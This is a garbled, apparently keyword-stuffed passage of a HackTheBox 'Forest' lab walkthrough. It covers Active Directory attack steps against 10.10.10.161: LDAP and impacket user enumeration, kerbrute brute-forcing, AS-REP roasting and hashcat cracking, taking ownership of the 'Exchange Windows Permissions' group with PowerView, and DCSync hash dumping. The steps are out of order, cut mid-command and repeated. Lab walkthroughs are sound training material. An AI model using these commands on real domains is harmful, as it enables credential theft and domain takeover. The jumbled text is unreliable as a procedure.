impacket-GetADUsers -dc-ip 10.10.10.161 htb.local/ Alternatively, use kerbrute to brute usernames from a wordlist:
10.10.10.161 forest.htb htb.local Use ldapsearch to anonymously query the domain:
# Upload PowerView.ps1 upload /usr/share/powershell-empire/empire/server/data/module_source/situational_awareness/network/powerview.ps1 Import-Module .\powerview.ps1 Take ownership of the group Set-DomainObjectOwner -Identity "Exchange Windows Permissions" -OwnerIdentity "svc-alfresco" Step 5: Grant DCSync Rights Now that we own the group, we can add ourselves to it. Then, we abuse DCSync to dump domain hashes. forest hackthebox walkthrough best
If you are searching for the , you have come to the right place. We will cover enumeration, AS-REP roasting, cracking hashes, WinRM access, and finally abusing WriteOwner privileges to compromise the domain.
impacket-GetNPUsers htb.local/ -dc-ip 10.10.10.161 -usersfile users.txt -format hashcat -outputfile asreproast.hashes The output will include a hash for svc-alfresco : impacket-GetADUsers -dc-ip 10
The user svc-alfresco is a member of the Account Operators group. Step 3: Abusing Account Operators Account Operators can modify most non-protected users/groups and can also reset passwords of users who are not protected by AdminSDHolder.
$krb5asrep$23$svc-alfresco@HTB.LOCAL:hash_string... Save the hash and crack it with hashcat (mode 18200 for AS-REP hashes). We will cover enumeration, AS-REP roasting, cracking hashes,
ldapsearch -x -H ldap://10.10.10.161 -b "DC=htb,DC=local" This reveals the domain name: htb.local and several users. Forest is vulnerable to Kerberos AS-REP Roasting because some users have the Do not require Kerberos preauthentication setting enabled. Step 1: Enumerate Users Use enum4linux or impacket-GetADUsers to list domain users.